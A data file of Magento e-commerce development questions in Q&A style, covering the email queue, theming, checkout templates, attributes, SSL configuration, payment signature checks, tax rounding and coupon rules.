    * @method string getMessageBodyHash()
    * @method string getMessageBody()
    * @method Mage_Core_Model_Email_Queue setMessageBody(string $value)
    * @method Mage_Core_Model_Email_Queue setMessageParameters(array $value)
    * @method Mage_Core_Model_Email_Queue setProcessedAt(string $value)
    * @method array getMessageParameters()
    *
    * @category    Mage
    * @package     Mage_Core
    */

There is nothing else in Queue.php to hint at or explain what these methods are for and how to use them for my own purposes. The setEntityId hints at the emails stored in the mgt_core_email_templates table along with the EntityType, except when looking at that table, the ID is template_id, not entity_id, and the type is template_type not entity_type. The EventType completely confounds me in this case.

What I need is the following:

Is my approach correct? Is there best practices in sending out mass emails that won't fall into some sort of spam black hole?
How do I php programmatically add 100,000+ recipients to the email queue?
Where is the email actually built? In the Admin database or in app/locale/en_us/template/email/...?

Any help would be greatly appreciated! Thanks!


texts:
I have some trouble defining CSS for only IE. This is the IE specific code in my header:

<!--[if IE]>
    <link rel="stylesheet" type="text/css" href=".../default/css/ie.css" media="all" />
<![endif]-->
<!--[if lt IE 8]>
    <link rel="stylesheet" type="text/css" href=".../default/css/styles-ie.css" media="all" />
<![endif]-->
<!--[if IE 8]>

        ...

I am running IE11 and I think the first if should be used which means, ie.css should be loaded. I changed all the used CSS files, just to make sure. Changes I make there are not reflected. I am changing the correct CSS file.

Do I have to do anything else here?

Thanks!


texts: Google Analytics collect data of Age & Gender by submiting Magento form

texts:
Google Analytics provide a feature that can analyze "Age" & "Gender" of visitors. But my customer want to track these data by submiting a form after checkout successfully.

That form looks as follow:

<form id="form-checkout" class="form-success" method="post"  action="">

            <?php echo $this->__('Gender') ?>

              <input type="radio" name="gender" value="Male" /><?php echo $this->__('Male')?>
              <input type="radio" name="gender" value="Female" /><?php echo $this->__('Female')?>

            <?php echo $this->__('Ages') ?>
            <select name="ages">
              <option value="< 20"><?php echo $this->__('< 20') ?></option>
              <option value="20-35"><?php echo $this->__('20-35') ?></option>
              <option value="35-50"><?php echo $this->__('35-50') ?></option>
              <option value="> 50"><?php echo $this->__('> 50') ?></option>
            </select>

          <button class="fs-submit fs-show" type="button" title="<?php echo $this->__('submit') ?>" onclick="sendDataToUa();"><?php echo $this->__("Back to Home")?></button>
          <button class="fs-submit fs-show" type="button" title="<?php echo $this->__('Continue Shopping') ?>" onclick="window.location='<?php echo $this->getUrl() ?>'"><?php echo $this->__('Continue Shopping') ?></button>

      </form>

Js script:

UPDATE:
I'm waiting for report data on google analytics.


texts: Overriding shipping.html file in custom module

texts:
I am trying to override shipping.html file to my custom module, but it's not working for me.

requirejs-config.js

var config = {
paths: {
    'Magento_Checkout/template/shipping': "Vendor_Namespace/template/shipping",
}
};

shipping.html

    <each if="!quoteIsVirtual" args="getRegion('customer-email')" render="" />
    <each args="getRegion('address-list')" render="" />
    <each args="getRegion('address-list-additional-addresses')" render="" />

    <if args="!isFormInline">
        <button type="button"
                class="action action-show-popup"
                click="showFormPopUp"
                visible="!isNewAddressAdded()">

        </button>

    </if>

    <each args="getRegion('before-form')" render="" />

    <render if="isFormInline" args="shippingFormTemplate" />

    <each args="getRegion('before-shipping-method-form')" render="" />

        <form id="co-shipping-method-form"
              class="form methods-shipping"
              if="rates().length"
              submit="setShippingInformation"
              novalidate="novalidate">

            <render args="shippingMethodListTemplate"/>

                <each args="getRegion('shippingAdditional')" render="" />

                    <button data-role="opc-continue" type="submit" class="button action continue primary">

                    </button>

        </form>

            <button type="submit" class="button"></button>


texts: magento 1.9 get shopping cart price rule label

texts:
I'm trying to display the label of the applied shopping cart price rule. I can display the rule name, but there is no label.

$rule = Mage::getModel('salesrule/rule')->load($ruleId);
echo $rule->getName();  // <- this one displays the rule name
echo $rule->getLabel(); // <- this one displays nothing
var_dump($rule->getData()); // <- I don't see the label in the data

I have configured a label for each one of the storeviews.

¿How can I display the label?


texts: Transaction failed: Local address contains control or whitespace while generating invoice in Magento 2

texts: Transaction failed: Local address contains control or white-space while generating invoice in magento 2


texts: Magento’s XMLConnect basics guidelines please

texts: I have investigated and found that it's possible to make android application via magento's XMLConnect extention. And as inchoo said that it is coming pre-installed in magento since CE1.5 and later. And to find it one should go to Magento admin > Mobile > Manage Apps but i am not able to find such menu in magento admin, I am not that experienced in magento, but i have created 2 website from scratch and 1 website after buying a theme from themeforest, in my homework i have seen people are discussing here about modules and here about API but no body is showing the path that how to get there. I have also searched the extension in magento connect. I have tried and downloaded the latest version of magento also but no luck. You must have understood my question up till now that how to get the "Mobile" menu in magento admin panel.


texts: Checkout: Check if e-mail exists to show login section or registration section

texts:
On my checkout I need to check first if e-mail exists. If e-mail exists it will show login and password fields with the email field already filled else it will show the registration form.

It's a store to old people who need that everything be simple and easy.

I've tried to use an ajax check inside the phtml form but I'm having problems with loggedin users.

I appreciate any help with that. Thanks.


texts: Magento 2.2.2 Newsletter subscription - Something went wrong with the subscription

texts:
I have this problem with subscription of newsletter but the address is successfully stored in the Database.

I have magento 2.2.2 fresh installation on server and allows php to send emails.

system log says

  main.CRITICAL: Exception message: Unable to send mail.
  Trace: #0 /var/www/html/projectName/vendor/magento/module-newsletter/Controller/Subscriber/NewAction.php(136): Magento\Newsletter\Model\Subscriber->subscribe('test@domain...')

Mail sending settings

Can someone help me on fix this error.


texts:
" make sure to check the signature returned from Gateway to ensure that the payment response is coming from the payment page and not from a hacker who is trying to modify the payment response; and display a “security violation was detected!” message if the signatures mismatching occurred. "

this message from external gateway but my question how i can check this signature ? i use hash('sha256',..); in php


texts: How to create custom Magento 2 Fotorama?

texts:
How to fix fotorama magnifier on mouseleave?

magnify-lens not adding magnify-hidden class if mouseleave to right side or left side. magnify-hidden will be added if mouseleave to top or bottom.

How can I fix this? Should I create jquery for adding the magnify-hidden class?
or can I customize on view.xml?

2nd questions. How can I fix fotorama thumb border to correct positions?


texts: Get attribute admin option value if you have option Id or store view value

texts:
I'm trying since hours but I'm not able to load the admin option value of a certain attribute. Although I have enough information like option_id and store view value:

$attributeId = Mage::getResourceModel('eav/entity_attribute')->getIdByCode('catalog_product','color');
$attribute = Mage::getModel('catalog/resource_eav_attribute')->load($attributeId);
$attributeOptions = $attribute ->getSource()->getAllOptions();

My attribute (name: color) option table looks like

Admin      Default Store View
15            white
20            yellow
22            blue
45            green

Following gives me only the option ids:

$colorOfProduct = "white";
$attributeId = Mage::getResourceModel('eav/entity_attribute')->getIdByCode('catalog_product','color');
$attribute = Mage::getModel('catalog/resource_eav_attribute')->load($attributeId);
$attributeOptions = $attribute ->getSource()->getAllOptions();

foreach ($attributeOptions as $option) {
    if ($option['label'] == $colorOfProduct)
    echo $option['value'];
}

I have the Default store view value (i.e. white) and need the assigned Admin value. Unfortunately I don't get it done and appreciate every help.


texts:
I'm trying to set up my SSL certificate but the site still says that https is unsecure.

I've edited the 000-default.conf as follows:

<VirtualHost *:80>
    ServerName millingtonmayers.co.uk
    Redirect permanent / https://millingtonmayers.co.uk/
 </VirtualHost>

 <VirtualHost *:443>
    ServerName millingtonmayers.co.uk
    SSLEngine on
    SSLCertificateFile /home/bensleym/millingtonmayers.co.uk.crt
    SSLCertificateKeyFile /home/bensleym/millingtonmayers.co.uk.key
    SSLCertificateChainFile /home/bensleym/intermediate.crt
    # The ServerName directive sets the request scheme, hostname and port that
    # the server uses to identify itself. This is used when creating
    # redirection URLs. In the context of virtual hosts, the ServerName
    # specifies what hostname must appear in the request's Host: header to
    # match this virtual host. For the default virtual host (this file) this
    # value is not decisive as it is used as a last resort host regardless

    # However, you must set it for any further virtual host explicitly.
    #ServerName www.example.com

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf
 </VirtualHost>

The redirect doesn't seem to be working either any ideas?


texts:
I want to use JQuery in magento. When I included JQuery in the code, Prototype is throwing errors at this line.

element.attachEvent("ondataavailable", responder);

Can anyone help me?


texts: How to Change Magento 2 default theme to RTL

texts: Pls Help.!, How to Change  Magento 2 default theme (Blank) to RTL layout for Arabic.?


texts:
We have a Magento set at applying TAX per item - then totaling the cart value. This helps greatly with rounding issues.

But

This does not seem to be calculated this way with bundled product additions to a product.

ie, I have a product that is 9.50 including Tax
I add an item (Custom option) that is another product with a price of 1.99

I would expect a total of 11.49

But, it is showing as 11.50 in the cart. It seems to adding the 2 ex TAX values together, then adding tax and totaling.

How can we set the adding of a item to an existing product to follow the same rul of apply Tax to items first - then total ?


texts:
How can I add an image in my page-header though _module.less? I can change the background color.

Is this the correct way to call an image?

background-image: url("@{base-url}/images/bg.png")

full link to

app/design/frontend/Magento/luma/Magento_Theme/web/css/source/_module.less

where should the image be stored?


texts: How to create services in di.xml for third-party vendor package classes

texts:
I am trying to create a "service" in my module's di.xml file for a third-party vendor object.

I tried to configure it like this:

<type name="League\Flysystem\MountManager">
    <arguments>
        <argument name="filesystems" xsi:type="array">
            <item name="orders_storage" xsi:type="object">oneup_flysystem_orders_storage_filesystem</item>
            <item name="tmp_storage" xsi:type="object">oneup_flysystem_tmp_storage_filesystem</item>
        </argument>
    </arguments>
</type>

But anytime I would run setup:di:compile and inject this service into my class, Magento throws an exception, because the arguments that I defined did not get passed to the factory that creates the object, so the code does a fallback and injects the ObjectManager as the first argument to the constructor.

I was able to get around this issue by creating a dummy class inside my module that does nothing but extend the class I want to override, like this:

<?php

namespace Renegade\FileStorage\Manager;

use League\Flysystem\MountManager as BaseMountManager;

/**
 * Class MountManager
 *
 * @package Renegade\FileStorage\Manager
 */
class MountManager extends BaseMountManager
{
}

Then creating a preference node for the class in di.xml:

<preference for="League\Flysystem\MountManager"
            type="Renegade\FileStorage\Manager\MountManager"/>

And finally changing my type from:

<type name="League\Flysystem\MountManager">

To:

<type name="Renegade\FileStorage\Manager\MountManager">

From what I can tell, doesn't seem to work on objects that are outside of the Magento application. If that's not the case, can someone tell me how to accomplish this without my workaround?


texts:
When I open the site using https://mydomain.com all layout (front/backend) is "broken" and appears inconsistent:

The headers contains all js/css but they are loaded with http:// protocol and the css rules are not applied

My problem looks exactly like this: https://demo.magentocommerce.com/

EDIT:
I have tested on my local installation ( same DB/CODE ) and it is working fine.

EDIT 2
After some investigation we found out that our FastCGI/Sbox is not setting HTTPS server variable when needed and that cause the wrong behavior on Magento


texts:
Load product by attribute i have using the following code

$attribute ='test1';
$objectManager =\Magento\Framework\App\ObjectManager::getInstance();
$product =$objectManager->get('Magento\Catalog\Model\Product');
$product = $product->loadByAttribute('attributename',$attribute]);

but i have the format of values in attribute name field like

test1|test2|test3

then how do i check this loadByAttribute() method

<?php
namespace Vendor\Module\Controller\Adminhtml\EditComments;

use Magento\Framework\App\Action\Action;
use Magento\Backend\App\Action\Context;
use Vendor\Module\Model\ResourceModel\Post\CollectionFactory;
use Magento\Framework\Controller\ResultFactory;

class SaveEdit extends \Magento\Backend\App\Action
{
    const URL_PATH_EDIT = 'catalog/product/edit';
    protected $_modelFactory;
    protected $urlBuilder;

    public function __construct(
        Context $context,
        \Magento\Framework\UrlInterface $urlBuilder,
        CollectionFactory $modelFactory
    ) {

         parent::__construct($context);
        $this->_modelFactory = $modelFactory;
        $this->urlBuilder = $urlBuilder;
    }

    public function execute()
    {
        $resultRedirect = $this->resultFactory->create(ResultFactory::TYPE_REDIRECT);
        $data  = $this->getRequest()->getParam('custom_table');
        $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
         $product = $objectManager->get('Magento\Catalog\Model\Product');
       $product = $product->loadByAttribute('customattribute',$data['customattribute']);
        // echo $data['customattribute'];
        // echo "<pre>";
        // print_r(get_class_methods($product));
        //die;
        $productId = $product->getId();
        if (isset($data['customattribute'])) {
            $collections = $this->_modelFactory->create();
            foreach ($collections as $model) {
            $model = $model->load($data['customattribute']);
            $model->setData('customattribute', $data['customattribute']);
            $model->setData('comments', $data['comments']);
            $model->save();
            }

        }
        $this->messageManager->addSuccess(__('comments has been updated.'));
        if ($productId) {
            $resultRedirect->setPath(
                'catalog/product/edit',
                   ['id' =>  $productId]

            );
        }
        //$resultRedirect->setUrl($this->_redirect->getRefererUrl());
        return $resultRedirect;
    }
}


texts:
I need to have 2 value caps in coupon:

Minimum cart value
If the coupon offer is a % off then we should have the facility to capture the maximum discount that can be passed to customer

Example: offer is 15% off on minimum purchase of 2000 and maximum discount of 4000
I should have the facility to cap the minimum purchase value where the coupon will be applicable secondly I should be able to cap the maximum discount that can be passed to customer should not be more than 4000